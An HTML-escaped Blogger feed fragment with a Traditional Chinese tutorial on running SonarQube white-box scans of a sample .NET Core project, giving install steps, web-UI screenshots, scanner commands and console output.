src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH8G09tFcE2Ip7-O9CH0ka8lECr3YmuBhfMI-VkzPL6y6RRnDWrUGTYoWkboFFMfRXuVwupBVNn4WYJGHuwwu5l_cqi95nrAew_ataWShVAiOGwvM0QOSqih5BQTbdwjkMnAUHiRVHAUbLXbu9J8dMfbqa5FeGCwiF0TvL83-EVtekzrdd3r3CV4vb8UH_/w400-h91/results.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

  &lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;
&lt;hr style=&quot;border: 2px solid rgb(14, 230, 34);&quot; /&gt;
 &lt;p style=&quot;margin-left: 1em;&quot;&gt;關於 dotNet Framework 專案的掃描，請參閱：&lt;a href=&quot;http://以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）&quot;&gt;以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）&lt;/a&gt;&lt;/p&gt;
 &lt;p style=&quot;margin-left: 1em;&quot;&gt;關於 dotNet Core 專案的掃描，請參閱：&lt;a href=&quot;http://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html&quot; target=&quot;_blank&quot;&gt;以SonarQube掃描dotNet Core專案源碼（白箱掃描）&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/7005363428724185101/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqube-maven.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7005363428724185101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7005363428724185101'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqube-maven.html' title='以 SonarQube 掃描 maven 專案源碼（白箱掃描）'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s72-w400-h63-c/sonar_net_003.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-312938090491174046</id><published>2023-09-26T20:25:00.004+08:00</published><updated>2023-09-28T11:03:35.429+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>以SonarQube掃描dotNet Core專案源碼（白箱掃描）</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(17, 122, 101); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/?gads_campaign=SQ-Mroi-PMax&amp;amp;gads_ad_group=Global&amp;amp;gads_keyword=&amp;amp;_gl=1*va5gvw*_up*MQ..&amp;amp;gclid=CjwKCAjwmbqoBhAgEiwACIjzEI66FX1-IEadA5PhZD8AlOYcaDmlO2JNog-wx0y8seU7bEGnQSX7NBoCkNAQAvD_BwE&quot; target=&quot;_blank&quot;&gt;SonarQube&lt;/a&gt;是一套白箱掃描工具，本例使用開源免費的Community版&lt;span style=&quot;text-indent: 2em;&quot;&gt;本，有關安裝方式可參考「&lt;a href=&quot;http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html&quot; target=&quot;_blank&quot;&gt;在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）&lt;/a&gt;」&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;本文以GitHub上的dotNet Core範例「&lt;a href=&quot;https://github.com/MagicianredLabs/dotnetcore5-example&quot; style=&quot;text-indent: -32px;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;MagicianredLabs&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;dotnetcore5-example&lt;/span&gt;&lt;/a&gt;」做示範說明，若想掃描其他 dotNet Core專案，請依該專案環境、結構酌作調整，尤其工具及SDK的版本。&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;一、必要需求&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(一)&lt;/span&gt;&lt;a href=&quot;https://dotnet.microsoft.com/en-us/download/dotnet&quot; style=&quot;text-indent: -2em;&quot; target=&quot;_blank&quot;&gt;dotNet SDK&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 4em; margin-top: 0px;&quot;&gt;可下載安裝版或ZIP檔，本例選用7.0.201的Amd 64之ZIP版，直接解壓縮到自選目錄：C:\dotNet.core\dotnet-x64-7.0.201，並將此路徑加入&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Path&amp;nbsp;&lt;/span&gt;&lt;/b&gt;環境變數。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(二)檢查「%&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;USERPROFILE%\.dotnet\tools」目錄裡是否有「&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;dotnet-sonarscanner.exe」檔案及「.store」目錄，如果沒有，請執行下列命令，以安裝 dotNet Core 用的sonarscanner&amp;nbsp;&lt;/span&gt;全域&lt;span style=&quot;text-indent: -2em;&quot;&gt;工具：&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px;&quot;&gt;&lt;span style=&quot;color: #b45f06;&quot;&gt;&lt;span style=&quot;text-indent: 0px;&quot;&gt;cd C:\dotNet.core\dotnet-x64-7.0.201&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;dotnet tool install --global dotnet-sonarscanner --version 5.13.1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;備註：&lt;/span&gt;&lt;/b&gt;可到&lt;a href=&quot;https://www.nuget.org/packages/dotnet-sonarscanner&quot; target=&quot;_blank&quot;&gt;NUGet&lt;/a&gt;查看--version X.X.X可支援的版本&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;二、執行掃描&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)啟動SonarQube Scanner Server，假設位於「 &lt;span style=&quot;color: #cc0000;&quot;&gt;http://192.168.232.153:9000&lt;/span&gt;」&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;1. 由Projects頁面選擇「Create Project」-&amp;gt;「Manually」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s1573/sonar_net_003.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;246&quot; data-original-width=&quot;1573&quot; height=&quot;63&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/w400-h63/sonar_net_003.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;2.社群版只能選擇「Locally」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/s647/sonar_net_005.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;647&quot; data-original-width=&quot;440&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/w273-h400/sonar_net_005.PNG&quot; width=&quot;273&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/s700/sonar_net_004.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;549&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/w314-h400/sonar_net_004.PNG&quot; width=&quot;314&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;4.產生Project Token（專案身份代號）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/s815/sonar_net_006.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;613&quot; data-original-width=&quot;815&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/w400-h301/sonar_net_006.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;5.請記下Project Token&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/s846/sonar_net_core_007.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;563&quot; data-original-width=&quot;846&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/w400-h266/sonar_net_core_007.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;6.選擇要被掃描的專案類型（.NET）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4oJwac08e5AL_MMBNpKKZ8eUrlR6auvM7OvTLQMJB1mCad_Nw0cJFUz0WK5QzXtNlO5nmj_d3rO3vQl3mp7HCPSLvbCngkFbeHatUmGuaX8Yvavqniy663_wmmkPJQkPt8iyJwJn9KYfmuN0KIvFnC4WiSYQjMvorqS2nsY4GwxTgyj8twFHrHmgFcfk/s630/sonar_net_008.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;531&quot; data-original-width=&quot;630&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4oJwac08e5AL_MMBNpKKZ8eUrlR6auvM7OvTLQMJB1mCad_Nw0cJFUz0WK5QzXtNlO5nmj_d3rO3vQl3mp7HCPSLvbCngkFbeHatUmGuaX8Yvavqniy663_wmmkPJQkPt8iyJwJn9KYfmuN0KIvFnC4WiSYQjMvorqS2nsY4GwxTgyj8twFHrHmgFcfk/w400-h338/sonar_net_008.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;7.選擇.NET的型態（.NET Core）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxQ0QHrEffPSE9zV6V6wJhSx5n_Dr5F8zCgB6Nssa69OaQUJgHR-vVhEuefXIVAXI3XzX_demYPlciyoqbAYYKHxXNBf5LwxhfJebb-enkFonv2mEbriWWErDzloUILmKs6wLY4vP3g_hV_9ySv7y1ryOWcivGpQ-D-oM-RQK6H-k8wUiDFA-oorkSzsCP/s1558/sonar_net_core_009.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1204&quot; data-original-width=&quot;1558&quot; height=&quot;309&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxQ0QHrEffPSE9zV6V6wJhSx5n_Dr5F8zCgB6Nssa69OaQUJgHR-vVhEuefXIVAXI3XzX_demYPlciyoqbAYYKHxXNBf5LwxhfJebb-enkFonv2mEbriWWErDzloUILmKs6wLY4vP3g_hV_9ySv7y1ryOWcivGpQ-D-oM-RQK6H-k8wUiDFA-oorkSzsCP/w400-h309/sonar_net_core_009.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
 &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(三)開啟命令提示字元，將工作目錄切換到待掃描的dotNet Core專案目錄，本例使用&lt;/span&gt;&lt;a href=&quot;https://github.com/MagicianredLabs/dotnetcore5-example&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;MagicianredLabs&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;dotnetcore5-example&lt;/span&gt;&lt;/a&gt;裡的it.example.dotnetcore5專案做示範，下載後置於D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(四)如果已完成項一之(二)的要求，就不會理會上圖的第一條命令（dotnet tool install --global dotnet-sonarscanner)。&lt;br /&gt;如已將dotNet SDK的目錄加到PATH環境變數，就逐一複製及執行SonarQube所提供的後三段命令。&lt;br /&gt;若想靈活切換SDK版本，可以在執行掃描命令之前先執行「set PATH=SDKPath;%PATH%」設定路徑（SDKPath請換成dotNet SDK的真正路徑）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(五)執行過程如下所示(&lt;span style=&quot;color: #e69138;&quot;&gt;&lt;b&gt;橘紅色部分是我所執行的命令&lt;/b&gt;&lt;/span&gt;）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px dashed rgb(211, 84, 0); line-height: 100%; padding: 4px; word-break: break-all;&quot;&gt;
&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;set path=C:\dotNet-x64-7.0.201;%path%&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;d:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;D:\&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;cd d:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;&lt;span&gt;dotnet sonarscanner begin /k:&quot;.netFram&lt;/span&gt;&lt;span&gt;ework-Example.core&quot; /d:sonar.host.url=&quot;http://192.168.232.153:9000&quot;&amp;nbsp; /d:sonar.login=&quot;sqp_c855f5d97c43571f467c8757cd5bcd1e9bb8792a&quot;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;SonarScanner for MSBuild 5.13.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Using the .NET Core version of the Scanner for MSBuild&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Pre-processing started.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Preparing working directories...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #ff00fe;&quot;&gt;&lt;b&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: white;&quot;&gt;D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;dotnet build&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;MSBuild version 17.5.0-preview-23061-01+040e2a90e for .NET&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&amp;nbsp; 正在判斷要還原的專案...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&amp;nbsp; Sonar: (it.example.dotnetcore5.webapi.tests.integration.csproj) Project processed successfully&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #04ff00;&quot;&gt;建置成功。&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;C:\dotNet-x64-7.0.201\sdk\7.0.201\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(28,5): warning NETSDK1138: 目標 Framework &#39;net5.0&#39; 已不受支援，未來將不會再收到任何安全性更新。如需支援原則的詳細資訊，請參閱 https://aka.ms/dotnet-core-support。 [D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.bl\it.example.dotnetcore5.bl.csproj]&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.webapi\Program.cs(12,18): warning S1118: Add a &#39;protected&#39; constructor or the &#39;static&#39; keyword to the class declaration. [D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5\it.example.dotnetcore5.webapi\it.example.dotnetcore5.webapi.csproj]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;&amp;nbsp; &amp;nbsp; 39 個警告&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&amp;nbsp; &amp;nbsp; 0 個錯誤&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: white;&quot;&gt;經過時間 00:01:51.00&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: white;&quot;&gt;D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;&lt;span&gt;dotnet sonarscanner end /d:sonar.login&lt;/span&gt;&lt;span&gt;=&quot;sqp_c855f5d97c43571f467c8757cd5bcd1e9bb8792a&quot;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;SonarScanner for MSBuild 5.13.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Using the .NET Core version of the Scanner for MSBuild&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Post-processing started.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;Calling the SonarScanner CLI...&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;&lt;b&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: More about the report processing at http://192.168.232.153:9000/api/ce/task?id=AYrMzgcpHOOPZyW4SWNL&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: Analysis total time: 14.247 s&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: &lt;span style=&quot;background-color: #600685;&quot;&gt;EXECUTION SUCCESS&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: Total time: 17.470s&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: Final Memory: 17M/60M&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #600685; color: white;&quot;&gt;The SonarScanner CLI has finished&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;19:34:12.82&amp;nbsp; Post-processing succeeded.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: white;&quot;&gt;D:\sonar-scanning-examples-master\dotnetcore5-example-main\it.example.dotnetcore5&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;hr style=&quot;border: 2px solid rgb(174, 214, 241);&quot; /&gt;
